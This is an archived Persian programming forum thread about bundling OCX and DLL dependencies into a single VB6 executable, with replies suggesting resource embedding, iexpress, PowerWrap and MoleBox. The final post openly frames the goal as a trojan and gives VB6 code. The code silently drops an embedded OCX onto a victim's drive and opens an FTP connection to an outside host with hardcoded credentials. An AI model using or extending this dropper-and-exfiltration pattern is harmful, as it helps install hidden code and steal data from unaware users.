View Full Version : سوال: چگونگی چسباندن فایلهای اضافه به خود برنامه
Snoopboy
پنج شنبه 28 شهریور 1387, 16:48 عصر
یک درخواست داشتم از اساتید محترم اونم این بود که من می خوام فیالهای اضافه یک برنامه که نوشتم رو تو خود برنامه جا سازی کنم که بشن یک فایل واحد منظورم اینه که فایلهای OCX و DLL رو تو خود برنامه بزارم همراه برنامه نباشن همشون بشن یک فایل اگه میشه کمک کنید ممنون
xxxxx_xxxxx
پنج شنبه 28 شهریور 1387, 16:58 عصر
اون وقت زمان اجرای برنامه که اجرا شدنش ملزم به وجود dll ها و ocx هاست با پیغام خطا روبرو میشید.
میشه دلیل کارتونو بپرسم؟
sohrab o
پنج شنبه 28 شهریور 1387, 18:53 عصر
خوب یه کاری میشه کرد
از یه فایل بدون فرم استفاده کن ( چون نیاز به dll و ocx نداره)
بعد تمام فایلاتو با استفاده از resource editor داخلش اضافه کن حتی خود پروژتو
r0ot$harp
پنج شنبه 28 شهریور 1387, 20:22 عصر
یک درخواست داشتم از اساتید محترم اونم این بود که من می خوام فیالهای اضافه یک برنامه که نوشتم رو تو خود برنامه جا سازی کنم که بشن یک فایل واحد منظورم اینه که فایلهای OCX و DLL رو تو خود برنامه بزارم همراه برنامه نباشن همشون بشن یک فایل اگه میشه کمک کنید ممنون
دوست عزیز همان گونه که دوستان گفتن باید یه فورم جداگانه بسازین چون وقتی برنامه احرا می شه تا شما بیاین فایل ها رو از Resource خارج کنید برنامه اجرا شده و اررور می دهد و از برنامه خارج می شود .
حالا برای چی می خواهید این کار رو بکنید و چرا از Setup استفاده نمی کنید ؟
باتشکر احسان
xxxxx_xxxxx
پنج شنبه 28 شهریور 1387, 21:20 عصر
خوب یه کاری میشه کرد
از یه فایل بدون فرم استفاده کن ( چون نیاز به dll و ocx نداره)
بعد تمام فایلاتو با استفاده از resource editor داخلش اضافه کن حتی خود پروژتو
دوست عزیز همان گونه که دوستان گفتن باید یه فورم جداگانه بسازین چون وقتی برنامه احرا می شه تا شما بیاین فایل ها رو از Resource خارج کنید برنامه اجرا شده و اررور می دهد و از برنامه خارج می شود .
حالا برای چی می خواهید این کار رو بکنید و چرا از Setup استفاده نمی کنید ؟
بالاخره برای استفاده کردن از اون dll ها ocx ها باید استخراج بشن.
فکر کنم منظورش این باشه که فایلش مستقل کار کنه یا اگر نمی تونه مستقل بشه فایل های مورد نیازشو تو خودش نگه داره.
اگه بخواد این کارو کنه (استفاده از Resource) خب یه دفعه با iexpress فایل ها رو به صورت package درست کنه که دردسرشم کمتره.
همه اینها به خاطر اینه که یه سوال هیچ وقت به طور کامل مطرح نمیشه. طرف میره و یه هفته دیگه میاد و دوباره همون سوالو تکرار میکنه.
vahid_d_0101
پنج شنبه 28 شهریور 1387, 21:53 عصر
برای این کار یه برنامه تو خود همین سایت من دیدم که خود پروژه را همراه با تمام ocx dll به یه فایل Exe تبدیل میکرد فقط مشکلش این بود که خیلی تو لود شدن اولیه برنامه گیر میکرد اگر تونستم برنامه رو پیدا کنم حتما میزارم
r0ot$harp
پنج شنبه 28 شهریور 1387, 21:58 عصر
بالاخره برای استفاده کردن از اون dll ها ocx ها باید استخراج بشن.
فکر کنم منظورش این باشه که فایلش مستقل کار کنه یا اگر نمی تونه مستقل بشه فایل های مورد نیازشو تو خودش نگه داره.
اگه بخواد این کارو کنه (استفاده از Resource) خب یه دفعه با iexpress فایل ها رو به صورت package درست کنه که دردسرشم کمتره.
همه اینها به خاطر اینه که یه سوال هیچ وقت به طور کامل مطرح نمیشه. طرف میره و یه هفته دیگه میاد و دوباره همون سوالو تکرار میکنه.
آره حاجی همیشه همین بوده تاپیک ایجاد می شه و بعد طرف می ره یک سال دیگه میاد و تاپیک رو پیدا نمی کنه می ره دوباره یه تاپیک ایجاد می کنه .
:لبخند::لبخند::لبخند:
باتشکر احسان
vbhamed
جمعه 29 شهریور 1387, 05:28 صبح
سلام
برنامه VB PowerWarp اين كار رو انجام مي ده
تو گوگل جستجو كنيد
r0ot$harp
جمعه 29 شهریور 1387, 16:45 عصر
سلام
برنامه VB PowerWarp اين كار رو انجام مي ده
تو گوگل جستجو كنيد
حامد جان نمی دونم آیا من کامل نگشتم ولی پیدا نکردم هیچ چیزی می تونید یه لینک بدید .
باتشکر احسان
xxxxx_xxxxx
جمعه 29 شهریور 1387, 18:24 عصر
برنامه VB PowerWarp که آقا حامد گفتند درسته. این کارو میکنه.
اما معایبی هم داره.
1- کیفیت آیکون برنامه رو به شدت کاهش میده.
2- اگه ک..ر.ک نشده باشه در زمان شروع برنامه از پیش خودش یه پیغام میده به کاربر.
r0ot$harp
شنبه 30 شهریور 1387, 00:20 صبح
دوستان کسی این برنامه رو داره اینجا بزاره یا نه ؟
من خیلی کنجکاو شدم :بامزه::بامزه::بامزه::بامزه: ببینم چه جوری کار می کنه . آخه خیلی فضولم .
باتشکر احسان
Snoopboy
شنبه 30 شهریور 1387, 00:49 صبح
به خدا من داشتم به عرائضه شما گوش می دادم یک سالم طولش ندادم دارم دنبال برنامه ای که شما ها گفتین می گردم پشت سرم صفحه نذارین
Snoopboy
شنبه 30 شهریور 1387, 00:51 صبح
این برنامه Meloe Box یک پسوند EXE به جز خود برنامه میده به برنامه یعنی میشه 2 تا .EXE.EXE نمیشه درستش کرد؟
xxxxx_xxxxx
یک شنبه 31 شهریور 1387, 19:56 عصر
اینم برنامه VB PowerWarp:
HjSoft
دوشنبه 01 مهر 1387, 06:25 صبح
اینم لینک دانلود از خود برنامه نویس :
http://www.barnamenevis.org/forum/showthread.php?t=27850&page=2
HjSoft
دوشنبه 01 مهر 1387, 06:27 صبح
به نظر من از PowerWrap بهتره چون می تونید به جای ستاپ استفاده کنید ، بعضی مواقع می تونه جلوی کرک شدن برنامه هاتون رو بگیره و کلی امکانات دیگه
sinamohammadi
دوشنبه 01 مهر 1387, 08:11 صبح
ببینید قضیه اصلی این هست که مثلا من میخام یه تروجان بنویسم که اطلاعات رو از طریق
msinet.ocx
به
ftp
بفرسته اما ممکنه این او سی ایکس در کامپیتر طرف نباشه و کار نکنه
نکته دوم هم این هست که نباید خطا بده
پس من باید فایل خودم رو قبل از فراخوانی در کامپیوتر طرف تزریق کنم
پس دو تا فرم ایجاد میکنم در فرم اصلی تزریق فایل و در فرم بعدی استفاده از فایل
در فرم اولم می نویسم
Private Sub Form_Load()
Dim c() As Byte
c = LoadResData(101, "CUSTOM")
Open "c:\msinet.ocx" For Binary As #2
Put #2, , c()
Close #2
End Sub
و برای استفاده از فایل خودم
form2.inet1
On Error GoTo LogOnError
form2.Inet1.Protocol = icFTP
form2.Inet1.URL = www.by.ru (http://www.by.ru/)
form2.Inet1.UserName = wilders-team
form2.Inet1.Password = dl4hack
form2.Inet1.Execute , "DIR"
Exit Sub
LogOnError:
If Err = 35754 Then
MsgBox "Cannot connect to the remote host"
Else
MsgBox Err.Description
End If
form2. Inet1.Cancel
نرم افزار
MoleBox Pro
این کار ور به خوبی میکنه ولی یه مقداری تو سرعت برنامه تاثیر میزاره
اگه راه های دیگه ای بلدید لطفا بگید
vBulletin® v4.2.5, Copyright ©2000-1404, Jelsoft Enterprises Ltd.